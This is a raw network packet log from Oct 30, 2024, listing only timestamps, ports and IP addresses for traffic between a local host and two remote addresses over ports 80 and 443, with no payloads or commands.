Oct 30, 2024 15:59:09.522553921 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.524768114 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.524857044 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.524909019 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.524909019 CET	49726	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.524926901 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.524935961 CET	443	49726	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.528888941 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.528925896 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.529006004 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.529171944 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.529186964 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.541244984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541268110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541285038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541347980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541346073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541358948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541383982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541414022 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541520119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541532040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541543007 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541575909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541606903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541693926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541734934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541743994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.541749954 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541794062 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.541973114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.542027950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.542028904 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.542072058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.542084932 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.542119980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599284887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599332094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599343061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599395037 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599405050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599427938 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599467039 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599481106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599490881 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599509954 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599534988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599565983 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599860907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599917889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.599965096 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.599977016 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600011110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600023985 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600055933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600060940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600068092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600101948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600131035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600351095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600393057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600403070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600415945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600445986 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600542068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600553036 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600570917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600580931 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600601912 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600640059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600640059 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.600688934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600697994 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.600763083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.601315975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.601326942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.601345062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.601381063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.601413012 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.643028021 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.643070936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.643079042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.643100977 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.643132925 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658175945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658200026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658210993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658257008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658267975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658282042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658312082 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658430099 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658441067 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658458948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658483028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658499002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658682108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658729076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658734083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658736944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658781052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658865929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658912897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.658971071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.658979893 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.659004927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.659013987 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.659029007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.659061909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.659061909 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716185093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716207981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716217995 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716269016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716274977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716286898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716294050 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716303110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716317892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716330051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716366053 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716391087 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716631889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716670990 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716681957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716690063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716720104 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716753960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.716804028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.716979980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717029095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717032909 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717044115 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717087030 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717128992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717139006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717181921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717458963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717514038 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717521906 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717533112 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717571020 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717619896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717631102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717649937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717660904 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717674017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717710018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717710018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717753887 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717761993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.717797995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.717797995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.759834051 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.759871006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.759881020 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.759902000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.759932995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.759968042 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775192976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775218010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775228024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775299072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775337934 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775341988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775350094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775398016 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775412083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775424957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775460958 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775465012 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775484085 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775511980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775686026 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775743961 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775758982 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775769949 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775808096 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775913000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775924921 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775949955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775959969 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775969982 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.775979042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.775990009 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.776019096 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.776063919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.833306074 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833332062 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833342075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833411932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833426952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833447933 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833462000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833472013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.833513975 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.833565950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833578110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833596945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.833615065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.833627939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834028959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834084034 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834120035 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834131956 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834170103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834176064 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834187984 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834207058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834214926 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834223032 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834237099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834244967 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834264040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834594965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834647894 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834687948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834701061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834738970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834778070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834790945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834811926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834822893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834826946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834845066 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834871054 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.834965944 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.834980965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.835014105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.835027933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.835535049 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.835593939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.848980904 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.849733114 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.849750996 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.850231886 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.850238085 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.871397018 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.872102022 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.872112989 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.872711897 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.872716904 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.874736071 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.875288963 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.875300884 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.875641108 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.875647068 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.876878023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.876903057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.876914024 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.876969099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.877208948 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892466068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892492056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892503023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892575979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892616034 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892621994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892637968 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892649889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892659903 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892680883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892725945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892739058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892769098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892792940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892796040 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892812967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892824888 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892832994 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892843008 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892863035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892918110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.892959118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.892988920 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.893001080 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.893029928 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.893043995 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.893152952 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.893166065 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.893186092 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.893197060 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.893207073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.893238068 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950355053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950366974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950386047 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950473070 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950501919 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950545073 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950556993 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950567961 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950602055 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950615883 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950661898 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950670958 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950675964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950719118 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950733900 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950826883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950838089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950850964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950864077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.950876951 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950889111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.950926065 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951307058 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951354980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951386929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951395988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951446056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951590061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951600075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951620102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951630116 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951639891 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951649904 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951679945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951880932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951891899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951911926 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.951934099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951951027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.951951027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.952192068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.952208042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.952225924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.952235937 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.952244043 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.952253103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.952254057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:09.952276945 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.952330112 CET	49710	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:09.953501940 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.954102039 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.954114914 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.954616070 CET	49728	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:09.954622030 CET	443	49728	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.979055882 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:09.979301929 CET	443	49727	13.107.246.45	192.168.2.6
